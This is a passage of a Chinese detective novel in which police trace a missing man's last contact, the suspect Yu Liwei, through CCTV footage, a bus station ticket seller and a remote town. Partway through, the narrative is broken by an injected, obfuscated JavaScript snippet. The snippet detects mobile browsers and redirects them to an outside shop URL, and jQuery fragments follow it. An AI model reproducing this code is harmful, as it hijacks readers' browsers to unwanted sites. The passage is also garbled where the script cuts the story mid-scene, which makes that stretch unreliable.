五零一,确实没有人在。门口张贴着水电费的单子,已经欠费好几天,停水停电了。
除了余利威,还需要确认死者生前最后一个见到的人是谁。蔡星澜盯着那扇紧闭的房门,脑子里把邻居们的话过了一遍—余利威七号出门要债,朱俊凯六号失踪了,时间上太巧合了。
小区里没有监控,只有大门口那个摄像头还在兢兢业业地工作。蔡星澜调出最近一个月的录像,和邓婉仪坐在电脑前熬了两个通宵。眼睛熬得通红,看谁脸上都雾蒙蒙的,邓婉仪揉着眼睛嘟囔“再这么下去我快要瞎了”,终于在最疲惫的时候找到了关键画面。
七月六日下午三点,朱俊凯出现在镜头里。他拎着一袋东西往小区走,袋子透明,隐约能看见几尾红色金鱼在水里摆尾—和邻居说的“买鱼食”对得上。走到门口时,正好和往外走的余利威擦肩而过。余利威穿着件灰夹克,手里攥着手机,两人停下来说了几句话。余利威还朝朱俊凯手里的袋子指了指,像是在问什么。之后朱俊凯进了小区,再也没出现在监控里。
蔡星澜把这一段截下来,来回放了好几遍。余利威的表情看不太清,但他那个指袋子的动作,总让人觉得哪里不对劲。她揉揉酸胀的眼睛,把画面又过了一遍,心里那个念头越来越清晰—如果余利威是最后一个见到朱俊凯的人,那他为什么第二天就走了?
会议室里,杨光辉把监控画面来回放了三遍,最后按下暂停键:“这个余利威,得重点关注。”
齐雨欣翻着记录本,眼皮底下两团青黑:“高铁没有查到任何信息。身份证、实名制购票,都没有余利威的出行记录。”
从文杰站起来,拎起搭在椅背上的外套:“大巴站那边查得不严,我和星澜去跑一趟。喻宇你继续盯着小区,看有没有人再想起什么。”
“好。”喻宇点点头。
根据邻居们的回忆,最后一次有人看见余利威,是周日七月六号晚上七点多。三楼那个喜欢跳广场舞的阿姨说,她下楼倒垃圾,正好撞见余利威从楼道里出来。那天他穿一身黑外套,黑帽子压到眉骨,口罩捂到眼睛底下,整个人裹得严严实实。阿姨当时还多看了两眼—这大热天的捂成这样,不会是生病了吧?余利威低着头快步往外走,连招呼都没打,像有什么心事。
蔡星澜和从文杰在车站附近转了两天,挨个走访那些在候车厅里拉客的售票点。大巴站的候车厅永远是一副闹哄哄的模样,塑料椅子上坐满了人,脚边堆着蛇皮袋、行李箱、装着土特产的红塑料袋。喇叭滋啦滋啦地响,女声有气无力地重复:“各位旅客请注意,开往双京的班车开始检票……”
他们俩在候车厅里转了两圈,挨个问那些拉客的售票员。这些人都是车站附近的个体户,车票比站里便宜几块钱,专门在候车厅里拉生意。
“见过这个人吗?”从文杰把余利威的照片递过去。
一个穿红马甲的中年女人瞄了一眼,摆摆手:“没有没有,别挡着道,影响我做生意。”转身又扯着嗓子喊,“双京双京,马上走啊,还差一位!”
连着问了七八个人,都说没见过。
正打算换个地方,一个瘦巴巴的中年男人凑过来,眯着眼睛看了看照片,又看了看从文杰,手指头捻了捻,嘿嘿一笑:“见过见过!不过这个我可不好说,得这个这个—”他大拇指搓着食指和中指,意思再明显不过。
从文杰掏了二十块钱递过去。男人接过来叠好塞进裤兜,支支吾吾半天,最后憋出一句:“那天我看见他了,但是我也不知道他上了哪辆车啊。”说完扭头就走,钻进人群里不见了。
蔡星澜刚要追,一个背着黑色挎包的女售票员从他们身边经过,手里攥着一沓车票,边走边喊:“最后一张票了,去雾江市的,特价甩卖啊!走不走?走了啊!”她声音尖亮,盖过了喇叭声。
喊完扭头,正好看见蔡星澜和从文杰站在那儿,眼睛一亮,凑过来热切地问:“你们要去哪里?我这儿也能去,车满了就走,价格比站里便宜。”
从文杰把照片递过去,嘴甜地喊了声:“姐姐,这个人,有没有见过?”
女售票员低头瞥了一眼,脸上的笑顿了顿,很快又恢复如常,摆摆手说:“哎呀,这我可不好说。”
从文杰掏出证件,在她眼前晃了一下。
女售票员的表情瞬间正经了,凑近照片仔细看了看,又抬头打量他们俩,压低声音说:“好像是上周日吧?晚上十点多,一个人来的。穿个黑外套,帽子压得低低的,问我去不去雾江。”
“你确定是他?”
“确定,那人看着就不太对劲,大半夜的捂得那么严实。”女售票员回忆着,语气很笃定,“他跟我砍了半天价,非要便宜点。我急着走,最后少收了他二十块钱。”她顿了顿,又补充道,“他说在龙溪镇下,我还纳闷呢,那地方前不着村后不着店的,大半夜的去那儿干啥?”
龙溪镇。
蔡星澜和从文杰对视一眼。那是双京新区下面一个偏远乡镇,离市区四十多公里,周围全是山,这两年搞开发,建了几个工业园,荒得很。
“谢谢你。”蔡星澜把照片收起来。
女售票员摆摆手,又恢复那副热络的样子,扯着嗓子喊起来:“去雾江的啊,最后一张票,走不走?”
两人挤出拥挤的候车厅,外面天色已经暗下来了。从文杰掏出手机给局里打电话汇报情况,蔡星澜站在台阶上,看着来来往往的大巴车,脑子里把线索串了起来—
余利威周日晚上七点多全副武装出门,十点出现在大巴站,买了去龙溪镇的车票。而朱俊凯最后一次出现在监控里,就是和余利威在小区门口碰见之后,再也没回来。
应该不是巧合。
第二天一早,他们赶到龙溪镇。镇子不大,一条主街从头望得到尾,街上的行人稀稀拉拉。
龙溪镇派出所接待他们的是一个年轻民警,姓周。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232359|193854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他翻了翻所里的登记簿,又打开电脑查了一遍,摇摇头:“没有用身份证登记过,不管是旅馆还是网吧,都没有余利威的入住记录。镇上就两家小旅馆,我都打电话问了,说没见过这个人。”
“那出租房呢?”蔡星澜问。
“出租房流动性大,大部分都不会登记身份证。”周民警想了想,“要不我陪你们去工业园那边问问?那边有几个厂,工人多,有些人租在附近村里,房东图省事,根本不看证件。”
蔡星澜点点头,心里却沉了沉。龙溪镇虽然偏,但交通四通八达,往北是国道,往西能进山。余利威如果在这里下车,随便搭个黑车就能继续跑,或者直接钻进山里,就更难找了。
从文杰看出她的心思,低声说:“先查着,说不定他没走远。”
蔡星澜嗯了一声,跟着周民警往外走。
工业园在镇子东边,几排新建的厂房孤零零地伫立在荒地,周围零星散落着几处民房。他们挨个走访—厂房门口的小卖部、村口的出租屋、甚至工地上的临时工棚,拿着余利威的照片问了一遍又一遍。
“没有见过。”
“没印象。”
“这人谁啊?没来过。”
小卖部的老板娘倒是多看了两眼,说前几天是有个穿黑衣服的生面孔来过,买了瓶水就走了,没留意长什么样。蔡星澜追问了几句,老板娘摆摆手,实在想不起来了。
时间一点一点过去,太阳从头顶挪到西边,蔡星澜心里越来越没底。余利威要是真跑了,这案子怕是难办了。她捏着那张照片,站在一家小卖部门口出神。
“见过,见过!”一个有些苍老的声音从身后传来。
蔡星澜猛地转身,心跳都漏了一拍。一个头发花白的大爷颤巍巍地走过来,手里举着一张报纸。她快步迎上去:“大爷,在哪里见过?”
“在报纸上见过。”大爷把报纸往她跟前凑,一脸兴奋,手指头点着上面那张照片,“这不就是嘛!刘德桦,我认得!”
蔡星澜低头一看,报纸上印着刘德桦演唱会的新闻,底下还配了张特写。她愣在那里,一时不知道该说什么。
一个年轻女孩急匆匆跑过来,一把扶住大爷,满脸歉意地冲蔡星澜解释:“不好意思啊阿姨,我爸他老年痴呆了,总是乱跑乱说话。”说着连拉带哄地把老人带走了。
蔡星澜站在原地,看着那对父女走远,半天没动。
从文杰从旁边的出租屋走出来,看见她这副表情,问:“怎么了?”
蔡星澜深吸一口气,把照片重新放回兜里:“没事,又是个乌龙。”
从文杰也叹了口气:“问了一圈,都说没见过。会不会根本没来这儿?那个售票员看岔了?”
“可能性不大。”蔡星澜抬头望向远处的楼房,心里空落落的。跑了两天,问了几十号人,好不容易追到龙溪镇,线索还是断了。
余利威,你到底躲到哪儿去了?